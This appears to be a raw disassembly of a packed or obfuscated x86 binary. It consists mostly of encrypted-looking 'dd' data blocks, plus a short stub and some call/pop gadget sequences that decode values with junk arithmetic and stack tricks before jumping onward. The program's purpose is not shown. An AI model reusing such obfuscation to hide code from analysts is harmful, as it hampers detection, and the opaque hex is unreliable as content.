		dd 6F2D792Ah, 3AD8DF48h, 0A70AE27Ah, 9200000Dh,	8CD68E10h
		dd 8BD58D19h, 89D38B1Bh, 85CF8717h, 60D0881Eh, 0F8AEF510h
		dd 0F5A9F640h, 0F5B1F33Dh, 0F0AEF33Dh, 71D1838h, 0B396F6E1h
		dd 7D59D654h, 478F8026h, 3BF34658h, 4D630180h, 0DD3B9EDh
		dd 81C311F7h, 0BE9144B5h, 3BB6EB6Bh, 8C1A8B66h,	0BC4C1FFCh
		dd 99540CDFh, 0EB506D1Ah, 297D5EBCh, 0C457AA7Dh, 0D2C386B3h
		dd 93C10FBCh, 8C7D30BBh, 4157BDD3h, 390A4C6Ch, 6C41FD23h
		dd 0EABD704Ch, 10BE8233h, 0FB4EE1DCh, 0D1D1136Bh, 0BBB74C6Ch
		dd 46B1A6A6h, 15946A42h, 7547D3C9h, 0CE90E3DFh,	0DAh, 0A28D0C19h
		dd 376B1C1Dh, 970A8ADDh, 0D8CE1607h, 93238321h,	90E3B6h
		dd 0E9792D76h, 81B02691h, 7C48C7B5h, 0B7CFA99h,	8A1797EAh
		dd 59A15C14h, 0ECC9594Dh, 16881999h, 0AE566C25h, 57B5814Bh
		dd 814BDB41h, 36DB8EB5h, 2B8DCC83h, 49A2D717h, 0E11266F6h
		dd 0BF783122h, 81E043A9h, 0F043F6B5h, 93E3F9A2h, 920E6EBBh
		dd 0CC9F7C0Ch, 10F30014h, 1DD9091Fh, 0C55C4278h, 3CF5AB7Bh
		dd 0DACB9E9Fh, 0DD951192h, 36BA322h, 9C773EE9h,	0CCDAC949h
		dd 0DB90ED0Eh, 9F770F3Ah, 0C66h, 17CFCFD3h, 16CED8CDh
		dd 14CCDACCh, 10C8D6CAh, 11C9DDC6h, 6B38CFA1h, 6639833Bh
		dd 6E368038h, 6B368038h, 605B7B33h, 96C9A24Ah, 9C1997B3h
		dd 0C5E1C40Ch, 0F5B1F272h, 0F0AEF33Dh, 247DDB38h, 4160EA7Ah
		dd 0DFB2F4B0h, 7B246C27h, 63B69323h, 3829E819h,	0A983697Fh
		dd 3B6B581h, 0BE06BFB0h, 1C6ABDE1h, 0BB93B763h,	969121D4h
		dd 5B21C7DDh, 61144C6Ch, 0E9046FAAh, 0DF3252D0h, 6C405791h
		dd 2039354Ch, 41D63324h, 7416Ah, 2F8C0000h, 90Dh, 0EC8D0C92h
		dd 0C22A4056h, 77B58197h, 84500DC4h, 0DA82CEh, 90635605h
		dd 3C6F33Dh, 3B33FC12h,	0B164BB93h, 940A9721h, 0CDD921DCh
		dd 9B0686D9h, 82554956h, 12949AF2h, 0BFE6E52Bh,	0D8CD57E7h
		dd 0CAEE3ECEh, 56522E51h, 0A940DCDh, 5990852h, 15C81D75h
		dd 0D92272Bh, 2C770191h, 4560EA7Ah, 6DF4D161h, 69AFD64Bh
		dd 0D28BDC45h, 151D0319h, 9D50272Bh, 2B15A94Fh,	0CB059C27h
		dd 0C223456Ah, 0B7CDBE91h, 272B0151h, 7EFE5104h, 79C37B23h
		dd 8EE67628h, 272B015Dh, 2445DE00h, 561D91A5h, 0EBC8584Eh
		dd 31B37C34h, 0C4A13175h, 831E9EF1h, 58AB2A1Bh,	5E46E237h
		dd 6CFCAAFBh, 0B169BC8Fh, 7DC077F6h, 0F6BD413Ah, 0D124F7AFh
		dd 786A5051h, 39BB0205h, 62B64619h, 6B817251h, 2939C4D6h
		dd 24CCE29Bh, 1939164Ch, 0BB6E1366h, 1EC94803h,	1B419805h
		dd 1CEFAFF2h, 739A3FC9h, 1B7CA4BAh, 3EF13916h, 0B190A1EBh
		dd 3A8807C0h, 86CBC4F8h, 0CB8CDA2Dh, 203704FFh,	0B94B2FA1h
		dd 0E619703h, 49FCB669h, 47574890h, 49713F9h, 0BBE64633h
		dd 91F10E3h, 330497E3h,	250A356h, 1517B72Bh, 0DACB8EBBh
		dd 0E7EB1FC4h, 0D9D5013h, 1BB69312h, 0C476FF34h, 5532C2DCh
		dd 0D4E52F82h, 0F5EE04F5h, 0A19F574h, 831E6657h, 0DB6B336Eh
		dd 29732BFEh, 24374278h, 3A3085B1h, 0E5653866h,	7552E2BCh
		dd 8A9E4A2h, 43DB554Eh,	0A456Bh, 0F0AEF400h, 0EFB7EE38h
		dd 0EDB9ED37h, 0E9B5EB35h, 0EABCE731h, 57AEC232h, 58A25A4Ch
		dd 559F5747h, 559F574Fh, 7A9A524Ch, 0CB83697Fh,	38B6B396h
		dd 3D530CBBh, 0B581A9D7h, 22B2F4AFh, 0DD09A045h, 21205B7Ch
		dd 0D858AB7Eh, 287E28C9h, 2AE8BB98h, 0C902291Dh, 0EBA77F17h
		dd 4E000009h, 48924A54h, 4791495Dh, 458F475Fh, 418B435Bh
		dd 1C8C4462h, 0B4F2B154h, 0B1EDB2FCh, 0B1F5AFF9h, 0ACF2AFF9h
		dd 0C3D9D4F4h, 0B396CB5Dh, 7D159210h, 0A2C49624h, 72BA144Eh
		dd 0C21D38BBh, 380B54A9h, 90788E47h, 0C5B58183h, 0A52FBF12h
		dd 9CF0A8FEh, 874A77F7h, 0B95DD96h, 0F2080393h,	0B581830Ah
		dd 66B98C3Fh, 93F85F18h, 0C98F8BBh, 26800A9Ah, 4013F080h
		dd 3EA3B36Dh, 8A8ED102h, 93A99A79h, 83A3112Eh, 88DC6C1Fh
		dd 0EBBBEB7Bh, 18112718h, 2D8989B3h, 6041897Ah,	3931391h
		dd 0E6C35326h, 91F3132Fh, 0AF02B890h, 0E7BD05BEh, 0B5EC6CBFh
		dd 0BAE731E9h, 90D726E4h, 7109E50Bh, 92999h, 0C921000h
		dd 0B9B0A54h, 99D0953h,	5990751h, 6A0034Dh, 7392DE4Eh
		dd 74BE7630h, 71BB732Bh, 71BB7333h, 96B66E30h, 0CA9F859Bh
		dd 54D2B396h, 7A247DD7h, 624460EAh, 2C7A2971h, 430921D9h
		dd 51B581AAh, 0B7706120h, 5600E8FEh, 82354A7Eh,	0F90CE12Fh
		dd 0A5ED4466h, 0AD52A501h, 0E0C109FAh, 54E6C6DAh, 2F020E90h
		dd 6F80BF3Eh, 8D446241h, 0E1C0F1FFh, 7D502DBDh,	4F53C1C6h
		dd 52A5F743h, 0D97DF9Ah, 207F0999h, 3E11EE7Eh, 68366BEBh
		dd 51554ED8h, 8C6D37C1h, 0B1576D13h, 0A44C6964h, 0B18E1EF1h
		dd 13CB20DEh, 61F930EAh, 87989h, 0BCE2C000h, 0BBEBBA04h
		dd 0B9EDB903h, 0B5E9B701h, 0B6F0B3FDh, 23E28EFEh, 246E2680h
		dd 216B237Bh, 216B2383h, 46661E80h, 0CDCF354Bh,	482B396h
		dd 7A247D87h, 5D4160EAh, 0C0597DCDh, 28D0E69Fh,	1DB581A9h
		dd 0A97176Ah, 0A221DC94h, 93205D92h, 56A2F5E4h,	642F3401h
		dd 55873h, 91A76000h, 0B5813E6Bh, 0D5E8FCCh, 0E58A0E18h
		dd 0B34CDF32h, 8AD2C386h, 0AF556B15h, 0A2B581A9h, 0D8C91CEFh
		dd 99066DC2h, 76671ABBh, 9160E0F7h, 24019115h, 0FF688D6Dh
		dd 8DE60F48h, 0B6094F9Bh, 0CD247DC5h, 1E881DD4h, 0BDEB18Eh
		dd 50333F53h, 234D68C0h, 0C1BDD706h, 1B880758h,	0DD529998h
		dd 856EF7CCh, 0DE06B72h, 0A9E96EBAh, 4B8BE3B4h,	0D6000000h
		dd 0D3C487B3h, 81A957BDh, 66570AB5h, 0A97197ADh, 31E4B581h
		dd 0CEF64EDEh, 56D5E90Ch, 1245C15Ah, 3384971Dh,	0FBC647Ah
		dd 0FEB16A19h, 18E9ABh,	0C340000h, 0A9D73D53h, 0D78AB581h
		dd 84770A20h, 75A73F8h,	1E739h,	87B39C00h, 3254D3C4h, 6AA1BCD7h
		dd 0C41CACFFh, 2EEE1691h, 8041D19h, 0DD9C2A4Fh
		dd 2025h, 87B37000h, 0D8DC34C4h, 502EEE16h, 183FCF54h
		dd 2DDD9C27h, 64E4BAE5h, 50126541h, 8Ah, 0C487B39Bh, 0A957BDD3h
		dd 570AB581h, 1C8908FBh, 9C4E9AF3h, 54A65DB0h, 16901559h
		dd 8F758B86h, 0C2B581E9h, 92148F0Fh, 0F8104102h, 25F9C79Eh
		dd 0E0E77C9Eh, 0A1C65B35h, 0A204A0E8h, 1E73512h, 34B58166h
		dd 75E22E81h, 0D0642EEBh, 0F5851988h, 3303C518h, 0F0000000h
		dd 479EC971h, 8DE0F97Eh, 0C487B3FAh, 0A955BDD3h, 5508B581h
		dd 0EA771EC8h, 84D373E8h, 0F0642FBAh, 0Eh, 1262F3Bh, 0EC340000h
		dd 7F5CECBAh, 0F92F992Ch, 92000000h, 8D1787B3h,	0D9AC8919h
		dd 0EDD2F149h, 3E3A0AD1h, 693C8425h, 5E3863Dh, 1E25AC6Dh
		dd 0BED87FCBh, 0C09CB97Fh, 0E7000000h, 0C7DFC40Ch, 0BD075A37h
		dd 207E218Dh, 0DE465C4Dh, 93B581A9h, 0F8A7EFE0h, 0D35516A6h
		dd 36715D09h, 1DAD00D3h, 0A1CA43C5h, 0E5649D5h,	33D9EF91h
		dd 266A5E46h, 3310A073h, 0D17DE6E0h, 844FCF86h,	782E77BFh
		dd 528B7187h, 0BBE6A5Eh, 50F6B8h, 2AE30000h, 5E52EC14h
		dd 5BAE616Ah, 1787B3C8h, 0FD87178Fh, 5528FBA3h,	0A9A64E64h
		dd 3B9BB581h, 6BB65A68h, 0A76A844h, 0F7CAA737h,	0CBF50F67h
		dd 979322A1h, 0CBD58282h, 0B770D14Fh, 5E5E7BA1h, 71DEE27h
		dd 275E5EE1h, 7BCEA154h, 1EB9h,	492F0400h, 34000000h, 0B9CFB9ECh
		dd 0B581A953h, 0F0805306h, 0A939DFF5h, 792CB581h, 7DC053A6h
		dd 92EA7A24h, 0B581A955h, 0CD0D16D8h, 0B512CAD4h, 37C487B3h
		dd 1214AB8Dh, 0B7EFFB09h, 94E0B581h, 642FC7C4h,	0FFFEEFB2h
		dd 0B62FFDFFh, 92000002h, 897A247Dh, 0A952BAD0h, 5407B581h
		dd 0BAE77101h, 0A7376F37h, 4D06F7CAh, 81A9D137h, 7ED184B5h
		dd 0C281B2C6h, 0C5DABBD1h, 762FBB93h, 6C4CB860h, 43FAAD4Ch
		dd 0FA70D3E2h, 60055827h, 63C51DADh, 694C6C16h,	6BB3F46Dh
		dd 1DDE6E38h, 7AC19947h, 0B205D835h, 429EF166h,	47836Ah
		dd 28700000h, 41D42777h, 0D2C386B3h, 93C10FBCh,	99CE4BBh
		dd 0F2A54A9Dh, 0DDB38201h, 2A07ED03h, 873A4C6Ch, 660FE8D0h
		dd 7F4ABBD0h, 0B70ADD4Eh, 0C1E42C27h, 0E04492E5h, 0E84C6C4Dh
		dd 80D777ECh, 0F46A41DAh, 0C0h,	96247D3Fh, 795588DBh, 7808DB1Ah
		dd 61F1B5EEh, 44D4CAD7h, 0FFB7E7BAh, 811E4CE7h,	3D9E1DB5h
		dd 0CAC9CBC7h, 0B487178Ah, 0A7376F34h, 0AAF777CAh, 0E8BB03F4h
		dd 0FE512EBEh, 42013246h, 0C9DF9851h, 0B581C823h, 0C0E36316h
		dd 674593E6h, 1ABB9634h, 752E7667h, 1C17FD13h, 974A4C6Ah
		dd 1A8BD3C4h, 0CC1FFC8Ch, 0CDD9CA14h, 0E96BD40Fh, 6E46DE30h
		dd 462h, 1BD3CBD7h, 1AD2D4D1h, 18D0D6D0h, 14CCD2CEh, 15CDD9CAh
		dd 673CCBA5h, 623D873Fh, 6A3A843Ch, 673A843Ch, 645F7F37h
		dd 96C1A64Eh, 0A01D9BB3h, 0C880267Dh, 0E2E0C50Dh, 23AC8F1Eh
		dd 5FB285B1h, 0DEF8C2DFh, 69B0583Ah, 2A873F12h,	0EA7A247Dh
		dd 0A55D4160h, 9FFFA2EAh, 95DF320Fh, 0FBB4A564h, 81A93FE5h
		dd 2C7F32B5h, 6B3A823Bh, 219AE83Bh, 16BB93D4h, 0AB7BD363h
		dd 294C6C7Ch, 0C5D9C60Eh, 65E37872h, 0C5D9C854h, 0C8D85835h
		dd 0FC1203D6h, 427E0147h, 34BDE42Ch, 0E3633670h, 0E98EE1BDh
		dd 7BC37E36h, 11EE7E28h, 0A04774BEh, 41605A9Bh,	84A65Dh
		dd 3F273BF2h, 2E4BCCB5h, 9B546A5Bh, 0AC4842F4h,	0E6C008F9h
		dd 0EF008C0h, 5C58453Ch, 0EA65E48h, 50h, 3D530C71h, 0B581A9D7h
		dd 3684D78Ah, 0B581A9F2h, 38F0D3E2h, 5EEEB8EEh,	81A91E06h
		dd 3F2428B5h, 772ECBDBh, 0EFC29F2Fh, 0EFB7ED37h, 0A9DE075Fh
		dd 247CB581h, 0FBCED8CDh, 0E1C5E16Bh, 44DD0151h, 74EDF141h
		dd 0B5A600A4h, 0DB6B336Dh, 96F3ABFEh, 479B277Dh, 0E980CF4h
		dd 3AF4C057h, 6D46ECBCh, 29FCCF42h, 52D7B938h, 6E4CFC61h
		dd 11908B1Bh, 70356270h, 9E987F36h, 774A5C49h, 0A600A424h
		dd 8E188C16h, 913174FEh, 581D607h, 494679Dh, 0B7073D43h
		dd 0FD843D12h, 0F93F46DBh, 188C4CD5h, 4A559D8Eh, 31490154h
		dd 0B581A8F3h, 0B94C0C58h, 4A2A642Fh, 17FFFFFFh, 198D165Eh
		dd 81A025CBh, 126518B5h, 7A247D7Fh, 5D4160EAh, 237B246Ch
		dd 0AB63B693h, 0B6A76A97h, 93C5F7A0h, 0BCAD60BBh, 99280F3Dh
		dd 0EF4226E0h, 57DD075Fh, 0AFAB4C6Ch, 0AC76F5AAh, 0F79F26B0h
		dd 0F95EAAFDh, 7B6A421Ch, 34h, 1686B3C6h, 5445188Eh, 93C18D3Eh
		dd 881E66BBh, 0C626CB1Eh, 66F6C9DDh, 6C41DA0Eh,	0ADB6B24Ch
		dd 41D6B6A1h, 70108F6Ah, 0CBE1FEA3h, 0E42EF043h, 79000000h
		dd 0EA7A247Dh, 0EBB64360h, 734623B3h, 4DB3C982h, 0B581A9h
		dd 0E06AFA4Dh, 0C34DDDC1h, 0D3E9A2DEh, 0B581A92Dh, 0F91F6D20h
		dd 6CB581A9h, 162EE6B9h, 0B581AEA3h, 0C9BAE4BDh, 0D413464Ah
		dd 50A3E135h, 4B534E98h, 0D2E8A15Ah, 4A7ED12Ah,	0F61E6C1Fh
		dd 6B4A7ED1h, 81D565B8h, 8AA09170h, 446CB4F1h, 20DB9346h
		dd 0FCAB5167h, 0EB9E4C6Ch, 5E3D4E98h, 0D03576Dh, 7F32427Bh
		dd 495D468Eh, 63899F58h, 0D646590Fh, 5D18D023h,	86169015h
		dd 6EFEA8FCh, 0EB6BBE91h, 52BAD0B8h, 746590Fh, 0DAC38154h
		dd 883ADA78h, 1A818F0h,	11910000h, 1A8BD58Dh, 1C8AD48Ch
		dd 1888D28Ah, 1F84CE86h, 115FCF87h, 41F9ADF6h, 3EF6A8F7h
		dd 3EF6B0F4h, 39F1ADF4h, 0E0081E19h, 55B396C2h,	267D5AD7h
		dd 237EC880h, 0B366C37Bh, 0BCD2C386h, 0BB93C10Fh, 95ED7D30h
		dd 4C6C4153h, 0A7FE4639h, 10F80EFFh, 454C6C41h,	0DC453F92h
		dd 41D72730h, 0B14D6Ah,	7D980000h, 0EFEA7A24h, 52A5F9A7h
		dd 7E28D1D2h, 1C645528h, 0B08D1D89h, 0C275CD5Dh, 1CB581AEh
		dd 0E0281985h, 7350E0C6h, 831E6820h, 0A378B1Bh,	4B405647h
		dd 0B0446C37h, 31823868h, 0DEE2BF97h, 20E17144h, 323DBFAFh
		dd 3DBD90F8h, 47EC3F67h, 8224A394h, 480E0CC3h, 5D71297Ch
		dd 667C6D2Ch, 427B4AABh, 0B4FCEDA0h, 0B5FFB7EFh, 83FAB8EEh
		dd 0B53ADAADh, 0CC451Dh, 356D0000h, 3E67B169h, 4066B068h
		dd 3C64AE66h, 4360AA62h, 353BAB63h, 1DD5D1D2h, 1AD2CCD3h
		dd 1AD2D4D0h, 15CDD1D0h, 3CE4FAF5h, 31B396C2h, 267D36B3h
		dd 237EC880h, 7D66C37Bh, 81829624h, 66DE0410h, 28790393h
		dd 99AABE76h, 2381C9BAh, 6A32F383h, 0F07EE848h,	0C5B609DCh
		dd 99D17AAFh, 0C8580BBBh, 57633Eh, 382A7A23h, 0C711C99Ch
		dd 3934C4DAh, 66826A80h, 20B74C68h, 81F51177h, 0CD20F348h
		dd 727F657Fh, 0C45D5920h, 20118D14h, 4ADACCD8h,	18621A6Dh
		dd 0FB851589h, 8F69F9A5h, 0C89D1594h, 6FAAAA1Bh, 0DD6D31h
		dd 7BE0DA2Dh, 0DCC2DE26h, 6980989h, 19D044Eh, 0FF829110h
		dd 1498B60Ch, 35931C1h,	0BC000000h, 257D13AEh, 425FE979h
		dd 6242CC5Ch, 752AB444h, 940F9929h, 0ABF88212h,	0BFE16BFBh
		dd 0E1C54FDFh, 0FAAB35C5h, 68391CACh, 1F10h, 68242C89h
		dd 4BE4h, 50241C89h, 405E089h, 83000000h, 48704E8h, 2C895C24h
		dd 27B85024h, 4869BB41h, 0A3E3502Dh, 8BC38963h,	0C4832404h
		dd 2C8B5404h, 4C48124h,	51000000h, 8B9h, 89E90100h, 240C8B19h
		dd 4C481h, 2C8B0000h, 0E7895724h, 4C781h, 0C7810000h, 4
		dd 5C243C87h, 5B2434FFh, 4C481h, 9FE90000h, 0F2FFFBDDh
		dd 0DB8F6EE9h, 292981DFh, 6FA8AA41h, 0E1B8CDA1h, 306176Ch
		dd 73E0FFC5h, 0F4571FA0h
		dd 6D201046h, 8D30A1F8h, 176E658Dh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0AD7E6DAAh
		dd 119589A3h, 8906121Ah, 1209A18Dh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0E9B6DE4Ah
		dd 0Fh,	0F1C97A96h, 121BD86h, 6FAF6EC9h, 0C791520Eh, 12050585h
		dd 618806h, 86F08000h, 1BD985C7h, 612h,	0BE90000h, 91000000h
		dd 550F9F58h, 18313D48h, 0B5FF2024h, 6122C81h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0C1C35545h, 26523554h
		dd 13A1B58Bh, 95FF0612h, 6121B31h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0C0C35040h,	0E582AA6h, 4D7100A5h
		dd 95FF006Ah, 61219CDh,	6DEBC08Bh, 122C875Eh, 731E74CFh
		dd 70186DF4h, 7F6D2527h, 59ED8446h, 5D5DA15Fh, 0AFE7D4E1h
		dd 8B06B56Eh, 0D781C545h, 0EE2AE4D8h, 34EF1E78h, 139BBBC7h
		dd 0C941669Eh, 0BFB4C6AEh, 3DFF93BCh, 0A0849B6Eh, 0B412DBA4h
		dd 0B19D05EBh, 674F3929h, 79A75DF3h, 0B07F4706h, 19E744Fh
		dd 9C788CA8h, 71F74C06h, 790F133Ah, 0E6D1555Eh,	76B79A30h
		dd 21E932h, 0EE830000h,	2EBh, 6	dup(0)
		dd 0E9000000h, 537h, 14B21E11h,	28C63024h, 40DE4038h, 56F45A50h
		dd 6B097166h, 3C31A3FEh, 4F4636D4h, 645D4DEBh, 7C766604h
		dd 2081801Eh, 7687AFh, 31839676h, 33A4150Fh, 6FE9070Bh
		dd 292CC412h, 78167E73h, 2D308E88h, 9B0C7D77h, 6FE90773h
		dd 0E9942C7Ah, 0B6B91B13h, 33A1CC60h, 44D111D8h, 4D41F7DAh
		dd 0E283E0E3h, 0FDED4870h, 0B7AF5184h, 4FF05AC2h, 1F17ED6Fh
		dd 0FA64BABDh, 1FCA2822h, 0E731B0ADh, 127CE6CBh, 241BF194h
		dd 857E56C0h, 0DB087A25h, 42D69256h, 0C3B3319Bh, 0E9BF6ACAh
		dd 3F228CF4h, 6A9564D6h, 5BA42AC4h, 5E2219F1h, 0BF6A0268h
		dd 799DC536h, 5EAC6FE9h, 0FBBA11F4h, 0E0534C1Bh, 79BEE657h
		dd 7FCD6FE9h, 0E979C4ECh, 0E57DCB6Fh, 9F5D5747h, 0FEA941ABh
		dd 63010375h, 5C3F296Eh, 0EA01A1C9h, 638BFC6Fh,	6A6FEA01h
		dd 65CF1D1Ch, 1043182h,	0FEB56FEAh, 74F34A1Eh, 543AD81Eh
		dd 0E0000000h, 0B4B7150Fh, 0E9073963h, 4D2DE46Fh, 1D7B2279h
		dd 169D8h, 0F0F0000h, 0F8AEB11Bh, 2E979A04h, 94FE6058h
		dd 5D60C6BCh, 4C4FADA7h, 3639A196h, 5AF223E4h, 0B00E775Bh
		dd 9A817F7h, 0AFA37252h, 0BDB7A745h, 0AC1EC15Fh, 269079D9h
		dd 5D574F2Ah, 0F5995FFh, 0F9AFB21Ah, 7C989B05h,	1F14E3C3h
		dd 2F2919B7h, 0DC65CED1h, 0E907436Bh, 92FC4A6Fh, 5D60C2BAh
		dd 3C10F0C9h, 0D81D80F5h, 6B1Ch, 1A0FC200h, 6FD1C99Fh
		dd 0E907B4DCh, 756DBB6Fh, 7D801880h, 6A6DCFC7h,	0F476560Dh
		dd 0C3C6241Eh, 362B036Dh, 1B8D30CEh, 6FE006ABh,	0D8B01A1Bh
		dd 0C2787BE3h, 0CF6366CCh, 0B9416F6h, 0E9D4729Ah, 0C12B796Fh
		dd 1E4D9DE4h, 3FC4D8h, 0F6A0000h, 0F9AFB21Ah, 399DA000h
		dd 66C8C096h, 0F97B5BFCh, 73692B23h, 330B750Dh,	0E438D63Eh
		dd 3A62D35Ch, 416FE907h, 0BDB189F3h, 0D2FF5053h, 836FE907h
		dd 0C118ECCCh, 8D81D7Ah, 1, 0B5170FAEh,	0DC3A340Ah, 361983D9h
		dd 25288680h, 0E1B325CEh, 44D2AEB4h, 9C7C1D87h,	0D573D5CDh
		dd 0BB64D40h, 0FBC5419Ah, 0F7FA4869h, 4BE94741h, 75DDD2A8h
		dd 0DB39330Bh, 0BB5D87D8h, 8C175FBh, 15F5928h, 0BB797363h
		dd 0F20A64C4h, 0D9E1AE3Fh, 3DA6A941h, 421B43B4h, 312975FBh
		dd 1882D0CFh, 0E5E84640h, 73B426C9h, 47DC2A09h,	9E7E1F89h
		dd 0D977D5CFh, 30138DE4h, 142D4DEh, 0B92B0000h,	95DFE0A8h
		dd 0E12ABE97h, 0B38898CCh, 6A134FB9h, 0C435E063h, 69FB347Bh
		dd 0F3C974C2h, 3E9497FDh, 413BF1D4h, 6E6238E3h,	27980104h
		dd 75FB3BFFh, 0BE28C00Eh, 0F8565040h, 0E7453FF5h, 0E6C663Ch
		dd 0FB5D550Bh, 0FA16F963h, 98926141h, 50A79C3Ah, 45DE2FB0h
		dd 7D117B6Fh, 0FA4DDE1Eh, 0A43AD56h, 43h, 0DC6F6AB0h, 0F9B8C031h
		dd 39871016h, 6BDE536h,	64C7EFE9h, 486511F2h, 973DDC2h
		dd 94068868h, 3B04A055h, 87046E81h, 0DD4EF988h,	901658D5h
		dd 0E26B1664h, 0E9A74971h, 9802506Fh, 9A3B1Ah, 6AE90000h
		dd 5B5BCD63h, 0C6E1107Ah, 0EAD90194h, 92E06FE9h, 55C64FFAh
		dd 6FE9EA2Dh, 0F984EE3Ch, 0FBFE7388h, 41449269h, 0A80A02D8h
		dd 0E6C663Eh, 5788F163h, 6CDD9BBFh, 0B70D1076h,	0C933271Fh
		dd 0F7F1E15Fh, 0DDE04039h, 83ECEF87h, 5154B4ADh, 0FF1E91FBh
		dd 6775FB06h, 0C34CCEAEh, 0FB072A52h, 38E33175h, 0FB079FC7h
		dd 0F660AE75h, 28C6241Eh, 5E099893h, 1068EDEDh,	23CE1C70h
		dd 0F0F3554Dh, 974D309Ah, 0BE943F9Dh, 14F761C9h, 0AA1EFEBDh
		dd 47520A3h, 6A03D704h,	0CB1FBD0Bh, 35E0636Ah, 0A539F6C3h
		dd 0CE79FBCEh, 0E92D355Dh, 8CF6446Fh, 8E909001h, 8A1369FEh
		dd 4FF119h, 0A10BFF76h,	0E849489Eh, 4F4F77h, 78105E76h
		dd 0DEE12F0Eh, 32D02E28h, 6D95068Fh, 8376004Fh,	0C627268Eh
		dd 4F2D55h, 56EE3C76h, 0BC1A14ECh, 0E52F68B9h, 7BE712Ch
		dd 0D7CFA527h, 0C7BC7275h, 8B33C75Fh, 7B07C05Dh, 0F6F0C832h
		dd 8157FA98h, 0CF252888h, 22938D65h, 0D4A889B1h, 0AA429072h
		dd 95FBF1A7h, 9C7C3B92h, 0D775D3CDh, 0E48FEDE7h, 4BB5150Eh
		dd 0DC368h, 99220000h, 0D4A80028h, 57C10F72h, 0F59951Bh
		dd 0F7ADB01Ch, 0E69C9FFDh, 0D48A8DEDh, 0C07679DDh, 0AA6063CBh
		dd 944A4DB5h, 7F35389Eh, 6C222587h, 4D0B0E78h, 81E68956h
		dd 4C6h, 4EE8300h, 8B243487h
		db 2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	381Dh
		mov	[esp], eax
		mov	edx, 32681883h
		push	ebx
		mov	ebx, 40690F8Dh
		xor	edx, ebx
		pop	ebx
		xor	edx, 15321D6Ah
		inc	edx
		and	edx, 750F7B62h
		shr	edx, 7
		xor	edx, 6DD6916h
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		push	edx
		sub	dword ptr [esp], 1631587Bh
		pop	ebp
		add	ebp, 1631587Bh
		mov	[eax+8], ebp
		pop	ebp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_54EA15
; ---------------------------------------------------------------------------
		dw 79F6h
		dd 3E140D67h, 0E182B9Eh, 0B816E765h, 617739Eh, 0E0FFC503h
		dd 48100B96h, 4DC05F64h, 59CD8B6Eh, 200C9F5Ch, 5A97D815h
		dd 41CD267Eh, 37847685h, 44348B23h, 62C8A86Ah, 2E59DAAh
		dd 3051F403h, 255C7715h, 0E48A3FBh, 3730145Eh, 1C80B427h
		dd 79D3BDF3h, 3DB4AF9Dh, 1ACFEF1Fh, 0A3F1B2Dh, 227D68C8h
		dd 5F1CA534h, 0BE8h, 6A1B2200h,	9BA663D2h, 8F70305Ch, 6E958F8h
		dd 48000000h, 0DD286A69h, 4EC0812Fh, 0F500005Ah, 0BBC2CBBFh
		dd 0AAC78142h, 66BD4453h, 0FF984BBEh, 0E9816630h, 0F5A0920h
		dd 583h, 0E5805300h, 0EA815916h, 252F02A4h, 0D43FE681h
		dd 0C2812689h, 62D42D88h, 3BEAC281h, 66601D1Dh,	6112C5B9h
		dd 35BB1089h, 8371500Dh, 0F38004E8h, 1EF834Eh, 0FFB9850Fh
		dd 830FFFFFh, 3, 8DDEB70Fh, 1775C88Dh, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 6A15B085h, 105D958Bh, 8D890612h, 61209A1h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 7EC35646h, 0C38B6633h
		dd 50585C7h, 706C0612h,	0BF660000h, 85C7CEE6h, 6121BD9h
		dd 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 1AC35747h
		dd 408C77Bh, 0AC97F48Dh, 2EA818Dh, 0FF2A8680h, 122C81B5h
		dd 0FFC38B06h, 121B3195h, 358D8906h, 6A061204h,	0CD95FF00h
		dd 8B061219h, 0B26DEBC0h, 872F2DA4h, 978B68E7h,	20B440Dh
		dd 0FBFCCECBh, 495DF507h, 0CDDBD521h, 1621D88Ah, 374D21D1h
		dd 11F76C32h, 20A7DEDDh, 1817879Fh, 0F0CE775Ah,	2DDC1C0Fh
		dd 5AEBE3B7h, 0E989AA78h, 89F373ABh, 0BF265D40h, 6C46973Eh
		dd 0A5E94ABh, 2BC7A47Ch, 39F7C93h, 0E32E5D78h, 7194C50h
		dd 0BDA5FDF3h, 9F8DF15Eh, 6945172Ah, 0D2B02CEDh, 9ED9D8Dh
		dd 39B80612h, 89000000h, 121C5185h, 0E806h, 5580000h, 0Dh
		dd 39E90389h, 0
		dd 0Dh dup(77E600h), 0FF77E600h, 779F8D8Dh, 858B0617h
		dd 6121B09h, 9A18D89h, 6A0612h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 1FFD3DC3h, 580E554Dh
		dd 0BD019E72h, 61203E9h, 50585C7h, 66480612h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0B0F8D0C3h, 0D985C741h, 6121Bh, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 933BC355h, 0BEB7524Ch, 0FE12DAEh, 8A0FF7B7h,	3, 0FF2AD480h
		dd 122D69B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0E0BEB1F8h, 10E9C806h, 4F000000h
		dd 72EE8489h, 0EC72C644h, 8765EE01h, 0FF3591FDh, 121B3195h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0D6CC0D2Fh, 6AD08Bh, 19CD95FFh, 0C08B0612h
		dd 8471EEBh, 0DE4CBF84h, 2746B000h, 87D441ABh, 0B8C09C32h
